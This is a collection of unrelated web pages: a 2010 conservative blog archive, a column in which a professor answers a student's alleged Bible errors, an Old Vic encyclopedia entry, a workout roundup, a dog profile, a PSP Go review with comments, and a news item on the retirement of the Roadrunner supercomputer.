Very simple; they were literate, and this literacy imposed a benchmark for the understanding of their language. We ought to consider what our "need" for a new translation every few decades really means, then; I would suggest it indicates that we are becoming a post-literate society. Given that Christians are, like the Ashkenazi, a "People of the Book," this is not good news for us.
Another university impervious to logic... the University of Central Florida, which under contract from the federal government is developing a video game in which teens are subjected to the advances of attractive, pushy peers--all in the name of reducing teen sexual contact. As if it would be likely that subjecting kids to, effectively, the singles bar scene would make them LESS likely to act on their hormones.
Hint; if you don't want the egg to boil, you turn the gas off, not on.
Thursday, July 29, 2010
Another reason to avoid the government's schools
Apparently, the NEA is endorsing celebrations of Mao's Communist takeover of China. 50 million people killed by Mao and his minions in the Cultural Revolution and other atrocities were not available for comment.
I would have hoped that an 'educator's association' like the NEA would know enough to let students know that Mao, Lenin, and Stalin made Hitler look like a choirboy in comparison. Apparently not, and if you want your children to know real history, I'm afraid they are unlikely to learn it from anyone who is a member of the NEA.
Wednesday, July 28, 2010
Where not to learn Logic
Loyala University of Chicago. Why?
They rejected a speech by Karl Rove on the grounds that it would jeopardize their tax exempt status, replacing him with an Obama appointee--demonstrating that they not only did not understand laws regarding tax exempt status (Presidents and their appointees have been making commencement speeches for generations), but also demonstrated a strong political bias.
Ironically, they may be setting up the stage for someone to challenge their tax exempt status. Oops. They used to have a good basketball team, though.
Here's the Obama version of "transparency" in a nutshell
In the new financial services deform bill, it appears that regulatory bodies like the SEC may be exempted from Freedom of Information Act requests, according to an article from Fox News.
Since a major part of the financial meltdown of the past few years has to do with the SEC being asleep at the switch (or watching internet porn) instead of watching for the signs of toxic and fraudulent investments, it would seem that more, not less, transparency is needed there. Evidently, however, Democrats in Congress, not to mention Mr. Obama, are having a little trouble figuring out that blocking access to information is anything but the "transparency" they promised back in 2008.
Hope and Change--congratulate our new Politburo, and let's celebrate Mr. Obama's birthday with a nice contribution to GOP candidates.
Tuesday, July 27, 2010
Want government in your healthcare?
Before you say "yes," take a look at this article about how the British are rejoining the ranks of civilized nations which do not have nationally run health care, as well as this article about how the centralized system in the U.K. is increasingly leading to denial of medical care.
If there were justice in this world, Congress and the President--at least those who voted for health insurance deform legislation--would be required to get their care via England's NHS. H/T Muckraker. The economic lesson here, of course, is that when people don't see the costs of their actions, they do not take action to avoid those costs. Hopefully we learn this lesson here before it's too late.
14 good years today.....
....and marriage just keeps getting better and better.
Monday, July 26, 2010
Quick dinner thought....
Way back in 1989, I sampled a dutch style pancake in Arnhem (site of the events of "A Bridge Too Far", and also home of a wonderful historical village of old Dutch buildings) that differed quite a bit from ordinary pancakes. Instead of sweet and fruity toppings, it had savory things like bacon, onions, and such in it. Last night, I finally worked to duplicate it--simply pan-fry the desired fillings, remove from the pan, pour a bit of batter in, then add the desired amount of fillings.
Yum. Burp. Bacon and pancakes in the same bite!
An interesting thought.....
Visiting the homes where my great aunt and mother lived last weekend, the thought occurred to me that I'd give just about anything to have them back. And then the thought occurred to me that, given that they're now safely in the arms of their Savior, they would have been really ticked if He'd granted my request.
Update: I wonder what the thoughts were of those who were brought back to life by Elijah, Elisha, and Christ. Did an angel give the soon to be undeceased a briefing letting them know they'd have to deal with the difficulties of this world to bring honor to their Lord, or.....?
Tuesday, July 20, 2010
Populism, or a great point?
White collar pencil pusher (hee hee) Tom Purcell takes his class to task for glorifying desk jobs at the expense of blue collar trades. At one level, we could see this as simply a populist rant of "darn all those rich lawyers!", but at another level, it makes a lot of sense. How much more prosperous wouldour country be if we did less paperwork and more real work? To borrow a phrase from my line of work, entering data into Oracle is not a value added operation.
We could start to implement Purcell's idea by ending federal funding for student loans altogether.
Monday, July 19, 2010
Another flaw in the health insurance deform law
Apparently, the building of doctor-owned hospitals is banned, and the expansion of them is heavily regulated. So in the name of reducing overhead and reducing healthcare costs, the government has decided to require increased overhead and to create yet another barrier to entry. Government also prohibits them from receiving Medicare and Medicaid patients--how nice if you're on that program, and a doctor owned facility is the only one within an hour of your home that does what you need done.
The article is a fascinating illustration of the theory of rent-seeking, and unfortunately, it appears that the American Hospital Association has been successful in getting their rent.
Thought on the NAACP/ Tea Party brouhaha
I'll take the NAACP seriously when it alleges racism if and when they politely but firmly tell Al Sharpton, Jesse Jackson, and the New Black Panthers that they are no longer welcome there. I'm not holding my breath, of course, as sad to say, it seems that some of the most bigoted people around call themselves "civil rights activists." Go figure.
Friday, July 16, 2010
Major defects with the financial services deform bill
1. Most of the regulations are "to be determined" by regulators. On the bright side, this may set up a way to repeal most of it through the courts, which have previously voided laws according to Article 1 of the Constitution. Regulatory uncertainty is an economic killer.
2. Massive set-asides for unions and other groups in a modification of proxy voting rules.
3. Massive paperwork requirements for ordinary transactions--it will be a killer for small business.
4. No modification of rules for Fannie Mae and Freddie Mac, whose demand for mortgage securities was a large part of the real estate cataclysm.
5. No examination of the CRA--in fact, set asides act as an expansion of the CRA.
In short, when given a choice between ways of improving and worsening the situation, Frank and Dodd chose making the situation worse with laserlike precision.
All you need to know about the financial services deform bill
With financial acumen like this leading the way, watch out.
Thursday, July 15, 2010
Another triumph of socialized medicine!
Reports are out that in North Korea, amputations are being performed without anesthesia, sometimes by candlelight. More or less, due to the great success of centralized control of the economy, doctors cannot even offer the suffering a few shots of whiskey before sawing away. In other words, North Korean medicine has become in some ways more primitive than a Revolutionary War field hospital.
It's a lot like Cuba, where in the tropics, patients at mental hospitals froze to death this winter.
Wednesday, July 14, 2010
More reasons why the government schools don't teach logic....
If they taught logic in the government schools, people would immediately figure out that the Fisheries and Wildlife Service's contention--that a few dozen ICE agents running surveillance towers will be too many people for the Sonoran Pronghorn, but tens of thousands of illegal immigrants are not--is absurd.
Never mind the reality that simply putting vehicle barriers out there--an option requiring no people at all after it is installed--would be a great way of reducing (not eliminating) the flow of illegals by making it far more difficult to cross that desert.
The importance of historical memory.... shown dramatically by Justice Clarence Thomas' concurring opinion in McDonald vs. Chicago, where he argues not a due process interpretation of the 14th Amendment, but rather a privileges and immunities clause--and makes the case that an 1873 case which (to many legal scholars) had rendered that clause "a nullity" was itself incorrectly decided.
It is refreshing to see a Justice understanding the limits of stare decisis--which is a necessity of legal abominations like Roe v. Wade are ever to be overturned. It is even more refreshing to see a Justice point to the suffering of his own people occasioned by the 1873 case as a major reason for returning to the Constitution instead of abiding by a shamefully wrong decision.
Tuesday, July 13, 2010
Life Lessons from the neighbors
My dear wife yesterday was made aware of a certain situation among our neighbors--suffice it to say it is one involving an ugly divorce--where she was told, most likely, a little more than we may have really needed to know. What should our response be?
I would suggest that, in a case where gross sin is alleged, we might do well to simply note to the speaker "I don't know how much of this I need to know, but if indeed you can demonstrate what you're saying, I'd suggest that the police ought to know about some of this." In doing this, we ensure that gossips are warned about the evil of gossip, and those who would commit grosser sins are warned about their error by an appropriate authority--giving both a chance to repent before it is too late.
And yes, pray for this situation, if you would. I'm guessing that this is just the tip of the iceberg in my community, but pray, anonymously, for this.
Monday, July 12, 2010
Latin Lesson from 4H
This weekend, my daughters participated in a 4H dog showing event, and one thing which caused some confusion is that there are "beginner" classes and "novice" classes--the later not being for someone novum or "new," but rather for a fairly advanced intermediate stage.
I think I'm going to gently suggest that the intermediate classes not be labeled as "novice" anymore..... :^)
BTW, daughter #2 got reserve grand champion in her beginner's group, missing grand champion by just 2 points--she was at 174, the winner was at 175. Not to brag or anything, but....the dog's early training was by a certain then-out-of-work quality engineer. :^)
Simian warriors?
WorldNetDaily reports today that apparently some of our enemies are thinking about training monkeys to attack our troops with Kalishnikovs and such--following Stalin's desire to breed super-warriors who were impervious to pain and not terribly caring about the quality of their food.
There are any number of things that are...well....amusing here. First of all, how exactly do you train a simian intellect to clean his weapon (OK, it's just an AK, but still) without killing himself, and exactly how do you get a simian intellect to figure out who is Taliban and who is a Marine? I can see this going disastrously wrong for that reason alone! Can you even reliably load, hold and fire a rifle without fully opposable thumbs?
Stalin's idea is even more hilarious for a simple reason; apes and monkeys generally subsist on a diet of fresh fruits, vegetables, and occasionally fresh meat. Humans, on the other hand, can subsist for quite a while on basic bread and water. So what's the closest thing to the ideal soldier?
The human, at least until you consider that leaders tend to catch flak when there are too many grieving widows and mothers out there.
So is the report true? I'm guessing "doubtful."
Friday, July 09, 2010
Time to gloat
I dare say that today's spy swap of the 10 or so arrested in the United States for a few arrested in Russia demonstrates that yes, indeed, they were guilty of spying.
I'm still not quite sure why spies are swapped instead of punished, but whatever.
Five whys and modern life
One of the more popular ways of resolving quality issues in manufacturing is called the "five whys" worksheet. More or less, you start with your problem, and then ask "why did that happen?" up to five times to arrive at root causes on the shop floor, in design, and in quality control. Inherent in the concept is that the problem will have partial solutions in all three areas, and that the initial "blamestorming" session will not generally get to the root of the problem. Often, you find that the problem you're trying to solve isn't even your biggest problem. For example:
Problem; the grass is long.
Why? No one mowed it.
Why? Junior slept the day away instead of mowing the lawn.
Why? Junior is recovering from the plague.
Why? Junior got it from a rat living at his school.
Why? The janitors can't be bothered to take out the garbage.
All too often, we simply blame the one who failed to mow the lawn without investigating the motivations of that person, and as a result, rhetorically speaking, we give Junior a whipping instead of finding a new janitor who will take out the trash. For example, when bankers are blamed for making bad loans without investigating the incentives that Fannie Mae, Freddie Mac, and the CRA created for them.
If you want good government and a good life, try and figure out who is reacting versus who actually tries to understand a situation.
Thursday, July 08, 2010
Good news regarding the big oil spill
Bird rescue groups note only about 400 birds dead and dying with oil on them since the BP well started gushing 5000-50,000 barrels of oil per day. Now it's not a good thing that 400 birds are suffering or dead, but it is remarkable that this FEW have been killed, even allowing for many not found. Kudos to BP for their work cleaning this up, and razzies to our federal government for refusing to allow the most efficient means of cleaning up the oil spill to be used.
Wednesday, July 07, 2010
Why Iran will never win an Olympic Hockey medal
Or, for that matter, why they'll never get a Wal-Mart. Why so?
They ban mullets.
Yet another reason....
.....that Americans need to pray is the "logic" of Congressman Pete Stark, who believes, apparently, that the national debt is equivalent to the national wealth. If you doubt that Democrats cease to understand the implications of an accounting spreadsheet once they enter the corridors of power, take a look at the economic logic of this rocket scientist--yes, he is an MIT graduate.
Tuesday, July 06, 2010
An interesting bit of theology
I was reading in Psalm 37 this morning, and found an interesting phrase in verse 11:
but the meek shall inherit the earth
Yes, we 've read that somewhere else, haven't we? In fact, most of the Beatitudes have a link to something said in the Psalms. And so I wonder why Christ appears to have quoted the Psalms a lot--despite our day's tendency to treat them as "only poetry," it seems that He felt there was a lot of theological meat to them.
Apart from the obvious fact that they are also God's inspired Word, He also doesn't say much about why He quotes them so often. Is it a subtle rebuke to the Sadducees, who didn't recognize the canonicity of anything but the Torah? Is it a rebuke to the Pharisees, who claimed (wrongly) to know the Law, but did not have the heart of God, as David did?
Is it a way of bringing in the heart of God to the discussion among those not of the Pharisees or Sadducees? A way of communicating that the entirety of the Tanach is indeed God's Word? A way of communicating the unity of God's Word, as Pslams are quoted next to Torah, history, and Prophets? A hint for Protestants to come 15 centuries later as to the best way to worship in song?
Or perhaps, a bit of all the above. Whatever He was thinking when He quoted Psalm 37:11 in the Beatitudes, we could do little better, I think, than to read and meditate on a Psalm today.
Monday, July 05, 2010
A bit of fun
My children have been taking care of my neighbor's dog, and as children sometimes do, they lost the key to his house while the dog was locked inside. We called the neighbor about the possibility of finding another key or calling a locksmith, and were surprised to hear our neighbor say "you know, you can open these locked doors with a credit card. Yes, our neighbor basically told us to break into his home.
Even more hilarious; he works at the federal prison here in town.
Dog is fine, and thankfully I'm not writing this from behind bars.
Friday, July 02, 2010
Here's a great scientific investigation
Evidently Michael Mann, fabricator of the infamous hockey stick graph, has been exonerated of the fourth and final charge of academic dishonesty by a group of his peers. What did the investigation consist of?
Glad you asked. According to the Fox article:
So the panel asked Mann five questions, spoke with his boss, and interviewed three other climate scientists. Case closed.
Well, we asked him and his buddies a few questions, and they all said he was innocent!
They're going to have to do a little bit more thorough work than this to make me believe they're actually doing due diligence.
Here's the union mentality for you....
....right here. Evidently, the new head of the United Auto Workers spent a lot of time growing up in a bar in Detroit (apparently, schools, parks, and movie theaters were not available to her?), and argues that if someone is smart enough to put a bolt on a car, they're smart enough to be sitting at the table of the board of directors making decisions impacting the entire business.
Now while I'm one who firmly believes that the rank and file often have some great ideas, and that management isn't always comprised of the brightest bulbs in the chandelier, the fact still remains that the guy who does a great job putting lug nuts on an F150 may not in fact have anything resembling a clue about how to run the company. This is especially the case when he belongs to a union that apparently does not understand that the cost of retirement benefits for autoworkers is indeed one of the things which caused the bankruptcies of GM and Chrysler.
Maybe Ms. Estrada spent a little too much time at Leroy's U.S. Star Bar when she was a kid.
This says it all about Washington, DC
21 people are dead in a drug gang shootout in Mexico near the Arizona border, and the response of those running our nation's government is to propose comprehensive immigration reform and sue Arizona for daring to suggest that we ought to be deporting criminal illegal aliens. It is as if on February 15, 1929, the Mayor of Chicago had suggested that what really needed to be done was to reduce the number of regulations on used furniture salesmen.
Thursday, July 01, 2010
Happy Canada Day, eh!
Today marks 143 years of Canadian independence, so hoist a cool one and eat a few donuts in honor of our neighbors to the north, eh. Don't try to give birthday spankings, though. If you're lucky, they'll check you into the nearest boards, and if you're not, they'll remember our 234th Independence Day is just three days away and return the favor.
Slight modifications have been made to today's posts in honor of the festivities, eh.
And an awful joke; back in 1867, Canada was going to get its independence, but they didn't have a name for the country. They asked around, and finally an old trapper from Manitoba came with a solution. They would draw letters out of the hat, and that would be the name of the country. Having no better ideas, they agreed, and invited the trapper to pull the letters.
Bands played, flags flew, and finally the trapper came out in a new tuxedo. All Ottawa was silent as he drew the letters oot of da hat;
C, eh
N, eh
D, eh
Here's another gem
....from Paul Greenberg of the Arkansas Democrat-Gazette, a reminder that human evil reminds us that there is indeed something far beyond this world to which we must answer. There are still some educated journalists out there, and Greenberg--in his spot-on imitation of C.S. Lewis' Screwtape Letters--is certainly one of them, eh. Well done again, Paul.
Say what, eh?
Evidently the CBO has released a report saying that the national debt will reach 62% of GDP this year. OK, let's check this out:
National debt: 13 trillion dollars
GDP: about 14.6 trillion dollars, according to government statistics. (not billion, correction courtesy Pentamom)
Now I don't know what kind of math the CBO is using here, but with the arithmetic I learned, that's not 62%, but rather close to 90%. So what's going on, eh?
My assumption here is that the parameters given to the CBO ignore the portion of the national debt held by the government, which is a patently dishonest way of calculating the load--unless we've got plans in motion to repudiate the portion of the national debt held by government--e.g. the Social Security trust fund.
It's an object lesson; the "nonpartisan" CBO only calculates number using the methods prescribed for it by a clearly partisan Congress and a clearly partisan White House. Pelosi in, Reid out, eh. | <urn:uuid:0df77e01-8ebb-4c42-9856-e52e39a93726> | http://www.bikebubba.blogspot.com/2010_07_01_archive.html | en | 0.964956 | 0.033569 | mlfoundations/dclm-baseline-1.0-parquet |
Office Hours: All Those Errors in the Bible, Part 1
Aug 12, 2008 |J. Budziszewski
"Professor Theophilus, I know these aren't your office hours, but — what is that foul-smelling stuff?"
"My lunch. Haven't you seen leftover sauerkraut before?"
"Not fixed like that. I guess you were in a hurry this morning, huh?"
I looked at Nathan over the top of my glasses. "You were saying these aren't my office hours. They aren't."
He didn't take the hint. "Could I talk with you while you eat?"
I sighed. "I suppose. If you can stand the foul smell."
"It's not so bad, now that I know what it is. I thought — well, never mind."
"What's so important it can't wait?"
"I didn't say it couldn't wait. But your door was open, and I'd been thinking, so —" He shrugged off his backpack and sat down.
"Thinking about what?"
"I went home for Easter. It's important to my family, you know? I haven't believed that stuff for years. But I think this was the first time they figured that out. I let something slip. Right during Easter dinner, unfortunately."
"That stuff being —"
"Well. Maybe there's a God. You've got me thinking about that. And I suppose Jesus existed. But all those errors in the Bible! I mean, c'mon, you know? And they — I mean my family — they gave me a sort of hard time. You following me? I'm not telling this very well."
"I think I'm following you. You said it wasn't true, they said it was. Then what?"
"So I told them I'd stopped believing in Christianity when I went off to college. The big thing was the Bible. I found out about all the crazy stuff in it. During my freshman year, I filled up a whole notebook with its errors and inconsistencies. I still have it. It's in my backpack."
"I hadn't realized that you'd ever been Christian, Nathan. So what answer did they give you?"
"My mom started crying. My dad said 'Whassamatter with you, upsetting your mother on Easter?' My older brother called me a dumb egghead and punched me in the arm. My sister-in-law got all cheery and said 'Anyone for dessert? Who wants black bottom pie? Who wants coconut cake?' Everyone started yelling out their choices."
"That ended the conversation?"
"Pretty much. Later on, one of my uncles took me aside and said 'There's a time and a place for everything, son.' As though I'd had a choice about that."
"Did he suggest another time and place?"
"Too bad."
Nathan shrugged again. "Anyway, still later I had another thought. I still can't see how any reasonable and intelligent person can believe in that infallible-Word-of-God baloney. But you're a reasonable and intelligent person. And like I said, you did get me thinking about God. So I thought I'd come and see you."
"What do you want me to do?"
"Will you read my notebook about the errors and inconsistencies in the Bible?"
I laughed. "No."
"Can I read it to you?"
"Can I read part of it to you?"
"Awww. Will you at least let me tell you what's in it?"
"Yes. If you choose just a few examples."
"All right!" He dug through his backpack and pulled it out. "Here are two mistakes I found about animals. They devastated me. A bat is not a bird."
"What did you say? A bat is —"
"Not a bird. God is telling the Israelites the things they aren't allowed to eat. Or Moses is. Or God speaking for Moses. He lists 'the eagle, the vulture, the osprey,' and so on, then a few verses later, 'and the bat.'Leviticus 11:13,19. All quotations RSV. See? The Bible thinks bats are birds. Professor Theophilus, a bat is not a bird. It's a mammal."
"You say this devastated you?"
"Sure did," he said.
"Tell me some more of these devastating blows."
"I will tell you. Here's one I like. Rabbits don't chew cud, but the Bible says they do. 'And the hare, because it chews the cud but does not part the hoof, is unclean to you.'"Leviticus 11:6.
I said nothing.
"Too stunned to speak, huh? Here's another," he said. "The earth is not a disk."
"Not a disk."
"No. But Isaiah says it is. Listen to this."
"I'm listening."
"'It is He who sits above the circle of the earth, and its inhabitants are like grasshoppers; who stretches out the heavens like a curtain, and spreads them like a tent to dwell in; who brings princes to nought, and makes the rulers of the earth as nothing.'Isaiah 40:22-23. The 'circle of the earth,' get it? The Bible says the earth is a disk, but we all know it's really a ball."
"Uh huh."
"Here's a third. Snakes don't eat dirt."
"You can say that again. The book of Genesis says they do. 'The Lord God said to the serpent, "Because you have done this, cursed are you above all cattle, and above all wild animals; upon your belly you shall go, and dust you shall eat all the days of your life."'"Genesis 3:14.
I pursed my lips.
"Surprised, aren't you?"
"I'm only surprised that these things worried you."
"What? Why?"
"Nathan, they're just plain silly. In the first place, you're forgetting how translation works. Words in different languages aren't exact equivalents. Take the business about birds and bats. The ancient Hebrew word translated 'birds' doesn't correspond exactly to our word 'birds'; apparently it means something like 'things that have wings.' Well, bats have wings, don't they?"
"Ye-e-esss —"
"Or take the business about hares eating their cud. The ancient Hebrew word translated 'cud' doesn't correspond exactly to our word 'cud'; apparently it refers to any sort of partially digested matter. Rabbits don't regurgitate partially digested matter and chew it again like cows do. But did you know that they pass pellets of partially digested matter and eat them again?"
"Um, no."
"Well, now you do. But there's a bigger issue. Not only are you forgetting how translation works, you're forgetting how inspiration works. God didn't dictate the Scriptures."
"He didn't? I thought —"
"No. That's how Islam believes Muhammad got the Quran; an angel is supposed to have come to Muhammad and said 'Write!' But that's never been how Christians thought God's people got the Bible. Insight from the Holy Spirit passed through the minds of human writers. The important question is whether that insight got through intact, and we believe it did."
"But if the Bible is wrong about rabbits and bats —"
"I don't think it is wrong about rabbits and bats, Nathan, but to tell you the truth, I wouldn't much care if it was."
"You wouldn't?"
"No. That's not what faith depends on. Did you think God gave us the Bible because we needed a zoology textbook? He gave it to us because we were wrecked and we needed to be healed. The message of the Scriptures is the nature of man, the nature of God, the meaning of life, and the history and plan of salvation. That's what they're teaching us. And all of that teaching is infallibly true."
Nathan frowned. "How about the Isaiah passage I quoted? It doesn't look like the Bible is saying anything there about the nature of man, the nature of God, or any of that other jazz. It's all cosmology. Bad cosmology, because the earth is not a disk. Not to mention that the heavens are not a tent. You can tell that these people were nomads."
I answered, "We've talked about how translation works and how inspiration works. Now you're forgetting a third thing."
"What's that?"
"How poetry works. In the same passage, Isaiah says that to God, the inhabitants of the earth are like grasshoppers. Do you think he was giving us an entomology lesson? Was he saying that humans belong to the class of orthoptera, which includes grasshoppers, locusts and crickets?"
"No. We'd just look that way from up high. It's a simile."
"But doesn't the earth look like a circle from up high? And don't the heavens look like a curtain from any position? It's poetic language, like 'the seven seas.' Haven't you ever used that expression?"
"When you've used it, were you thinking that there are seven separate seas that you can count?"
"Of course not," he answered. "It's poetic language."
"So are the circle of the earth and the curtain of the heavens."
"If all of that language is poetry, what's the point?"
"The point is God's power and sovereignty. It's right there in the passage you quoted: He 'brings princes to nought, and makes the rulers of the earth as nothing.'"
"All right, all right, but you can't say that the Genesis passage is poetry."
"Why not?"
"There's nothing poetic about eating dirt."
"Figurative language doesn't have to be pretty, Nathan. Here, let's try something." I pushed my plate of sauerkraut out of the way, then shoved my computer keyboard and monitor over to him. "What search engine do you use?"
"Go to Kreugel and key in 'make them eat dust.' Don't forget the quotation marks."
He clickety-clicked for a few seconds.
I asked, "How many hits did you get?"
"Four hundred and something."
"See? There's proof: We even talk that way in English. So why shouldn't they have talked that way in ancient Hebrew? If you want to debunk the Bible, you're going to have to do better than this."
"All right," he conceded, "I guess that example wasn't as good as I thought."
"No, it wasn't. In fact, all four of your examples were pretty shallow. If we're dealing with things that are important to you, that's progress. But we haven't even begun to consider what I view as the main issues — what the Scriptures are, how they should be read, how God approaches us through them. Can't you pitch me some really hard examples?"
"Lemmee think. What were you saying again about the message of the Scriptures? What did you say that they were teaching us so accurately?"
"I think I said something like 'the nature of man, the nature of God, the meaning of life, and the history and plan of salvation.'"
"OK, Prof. Then I've got you after all. The Bible contradicts itself about all of those things." Nathan patted his notebook. "It's all in here."
PART 2: All Those Errors in the Bible »
Copyright 2008 J. Budziszewski. All rights reserved.
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| <urn:uuid:3233e517-a879-4cd8-89fe-ce04ed4d1b91> | http://www.boundless.org/faith/2008/office-hours-all-those-errors-in-the-bible-part-1 | en | 0.974369 | 0.11449 | mlfoundations/dclm-baseline-1.0-parquet |
Old Vic
• association with Old Vic theatre company
TITLE: Old Vic (London theatrical company)
The company’s theatre building opened in 1818 as the Royal Coburg and produced mostly popular melodramas. In 1833 it was redecorated and renamed the Royal Victoria and became popularly known as the Old Vic. Under the management (1880–1912) of Emma Cons, a social reformer, the Old Vic was transformed into a temperance amusement hall known as the Royal Victoria Hall and Coffee Tavern, where...
• contribution of Baylis
TITLE: Lilian Mary Baylis
Upon Cons’s death in 1912, Baylis became sole manager and converted the hall into the Old Vic, which became world famous as the home of Shakespearean productions. Between 1914 and 1923 the theatre staged all of William Shakespeare’s plays—a feat no other modern playhouse had attempted. The productions mounted under Baylis’s management were praised for their simplicity and outstanding... | <urn:uuid:12ef32bd-fe0f-4813-b852-5e6c9e30d1ae> | http://www.britannica.com/print/topic/427308 | en | 0.965356 | 0.026566 | mlfoundations/dclm-baseline-1.0-parquet |
Fitness: Workouts for swimsuit season
• Photos by Joe Maiorana
From the March 15, 2012 edition
Oh la la, sexy swimsuit season is near. If this fact puts more anxiety than excitement in your gut, perhaps it’s time to work on tightening said gut. Here are some cool workouts offered around town to get you feeling great and ready to show some skin. Unleash the Speedo demons!
Workout: The Mixer
Where: Burn Studios, 153 Mill St., Gahanna,
When: Multiple times every day except Saturday
What it is: 30 minutes indoor cycling followed by 40 minutes of Vinyasa yoga
Why it’s awesome: “It is the best of both worlds,” said instructor Stephanie Rosenblum. Spinning is a low-impact cardiovascular workout and calorie burner, while the yoga creates long and lean muscles and burns fat.
Workout: Minute Mayhem
Where: Urban Active, multiple locations,
When: Varies by location
What it is: Moves — such as jumping jacks, running, squats and triceps extensions with calf raises — are done for one minute in varying successive segments.
Why it’s awesome: It’s a 45-minute full-body workout that promises to burn three times more calories than running on a treadmill. “Believe me, you don’t want it to be an hour,” said Wendy Jett, corporate group fitness director. “It is very intense.”
Workout: Hoop Dance
Where: Infinity Dance and Wellness, 1039 Mediterranean Ave., Worthington,,
When: 1:15-2:15 p.m. Saturdays starting March 31
What it is: Hula-Hoop-trick coaching, improvisation and choreographed routines. The class covers basic core hooping and off-body moves. Beginners use a heavier, larger hoop so it’s easier to feel the rotations, while more advanced members use smaller hoops to perform tricks at a faster rate.
Why it’s awesome: “The Hula-Hoop opens your mind, body and spirit to endless possibilities of fun and creative fitness,” said instructor and hooping extraordinaire Lindsay Nova. Bonus: This workout can burn 300 to 600 calories per hour while working the core, arms and legs. | <urn:uuid:d09943e6-5e87-4dba-94db-792591f11c76> | http://www.columbusalive.com/content/stories/2012/03/15/fitness-workouts-for-swimsuit-season.html | en | 0.872523 | 0.042813 | mlfoundations/dclm-baseline-1.0-parquet |
Mickey the Mixed Breed
Dog Breed: Rhodesian Ridgeback
Mickey lives on an acreage near Alberta's Rocky Mountains. She loves vegetables and fruit and especially loves digging up potatoes and stealing peas from Mom's garden in the summer. One of her favorite activities is going for walks in the country - the older she gets the shorter the walks get but the excitement is still there. All you need to do is mention the word "walk" and she will bounce around like a puppy. She also loves sleeping on the bed when no one is looking. Mickey has an amazingly gentle temperament and is incredible with children or anyone else who visits. Mickey has been recently diagnosed with cancer. We don't know how much longer she has but she is still happy and playful and not in any pain. She gets lots of extra treats and hugs now and loves every minute of it. | <urn:uuid:d5258614-dc2f-42d0-b105-27b7b39b4617> | http://www.dailypuppy.com/dogs/mickey-the-mixed-breed_2009-07-12 | en | 0.978264 | 0.148183 | mlfoundations/dclm-baseline-1.0-parquet |
Print 12 comment(s) - last by aqwan135.. on Dec 20 at 8:18 PM
Targeted at professionals rather than teenagers
The original PSP-1000 was released five years ago in Japan. The competing Nintendo DS used flash memory cards for games, but Sony decide to introduce the Universal Media Disc (UMD) capable of holding 1.8GB of data, which was massive for its time.
The PSP Go introduced in October was supposed to introduce new options to the PSP line. Sold concurrently with the latest PSP-3000, it replaces the UMD with 16GB of flash memory. This allows gamers to have around a dozen games with them without having to carry around discs and swap them out when they want to play a different game.
Music and videos can also be stored, allowing the PSP Go to compete somewhat against Apple's iPod Nano. Additional storage is provided via Memory Stick Micro (M2) flash cards. 16GB is the largest size available at the moment, but there are smaller sizes available. The M2 format tops out at 32GB, and there are rumors that Sandisk is working on such a card based on 32nm technology.
The PSP Go is 35% smaller and 16% lighter than the PSP-3000. The screen is smaller, but retains the same pixel count as the PSP-3000. This allows the PSP Go to have a higher pixel density and a sharper image. Unfortunately, the battery is also smaller, and only allows for 3-5 hours of gaming.
This still makes it a viable option gaming option for commuters who carpool or take public transit and are looking for some entertainment. This is a very large market in Japan, and a large percentage of people on Japanese subways can be seen with a DS Lite. Sony is clearly targeting urban professionals more than teenage gamers.
A recent trip to Asia meant that I was faced with a 15 hour flight with limited entertainment options. I picked up a PSP Go along with a few games like Gran Turismo, GTA: Liberty City Stories, God of War: Chains of Olympus, and Rock Band. Downloading games via WiFi is pretty slow, and the best option is a broadband connection and transfer via USB cable. Charging through a USB port is possible, but a charge from an AC adapter is required if the battery is depleted.
The PSP Go fits perfectly in a suit jacket pocket, and I now find myself playing with the PSP Go whenever I'm early for a meeting or waiting in line. I used to carry around a Nintendo DS, but having all of my games loaded on the PSP Go is much more convenient.
Holding the PSP Go is a little bit awkward at first because of the sliding screen and takes a little bit of getting used to. Gamers with large hands may want to try one out for themselves before making a purchasing decision.
The biggest criticism so far for the PSP Go has been on price. NAND flash prices have doubled in the last six months due to demand from SSDs and portable media players. Price for flash memory had been forecasted to go down, not up.
A Sony representative pointed out that the PSP Go is only around $50 more than a 16GB iPod Nano, and is much more fun. However, Sony can afford to subsidize the PSP Go, since the move to digital downloads will allow the company to reduce the cost of manufacturing, packaging, and distributing games.
The PSP Go will be most attractive to highly mobile professionals who are buying their first PSP or seeking the greatest portability. There are still many people who don't have a PSP, or are looking for a better gaming experience than Apple's iPhone or the Nintendo DS Lite. Those who have an investment in UMDs or are price-sensitive will want to stick with the PSP-3000.
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The Convenience isn't Limited to the Go
By ChronoReverse on 12/11/2009 11:22:04 AM , Rating: 2
With obvious exception of size, all those features are available to even the PSP1000. That is, access to the PSN store and the ability to play the store downloaded games from solid state memory.
The reason why people complain about it is that you're paying more for just a smaller size that comes with the loss of functionality. Perhaps the logistics were too difficult but Sony lost a lot of points when they scrapped the trade-in program for existing UMDs.
The claim is that the PSPGo is for those getting their first PSP but frankly the market is saturated. Those who want a more dedicated gaming platform already have one (whether it's the three iterations of the PSP or the same for the DS). The remaining market is similar to the Touch's and frankly, the PSPGo is less compelling in terms of functionality in comparison. This segment isn't as interested in the Go's dedicated gaming abilities and really, the Touch's abilities are already catching up in many ways.
It's not sufficient for those who want what the dedicated gaming system can offer, but most of those people already have an earlier PSP or DS. There's some space for the Go, but it's slim.
By Ard on 12/13/2009 2:24:38 PM , Rating: 2
Exactly. You don't need a PSPGo to take advantage of the convenience factor found in having access to downloadable games. It still makes more sense to pick up a PSP-3000 for $170 and a 16GB Pro Duo for $48-60 (saving you $20-30 over the Go). This gives you both the benefits of truly portable gaming and access to the, currently, lower prices of discrete media.
| <urn:uuid:21b5b327-89b3-4fa5-9913-493ec595f567> | http://www.dailytech.com/article.aspx?newsid=17105&commentid=520995&threshhold=1&red=173 | en | 0.948996 | 0.022482 | mlfoundations/dclm-baseline-1.0-parquet |
Print 7 comment(s) - last by KOOLTIME.. on Apr 4 at 10:33 PM
Roadrunner supercomputer is still fast but can't match today's best
One certainty in the technology world is that computer technology advances quickly. What was once of the fastest computers in the world only a few years ago is today well down on the list of the world's top performers. A perfect example is the Roadrunner supercomputer at the Los Alamos National Laboratory. When the supercomputer was installed in 2008, it was the world's fastest and the first supercomputer capable of breaking the petaflop (1 million billion calculations per second) barrier.
Roadrunner is still an incredibly fast supercomputer, but it was decommissioned Sunday. The supercomputer was operational for five years and was used in a wide variety of projects including providing key simulations for the Stockpile Stewardship Program and other unclassified scientific projects.
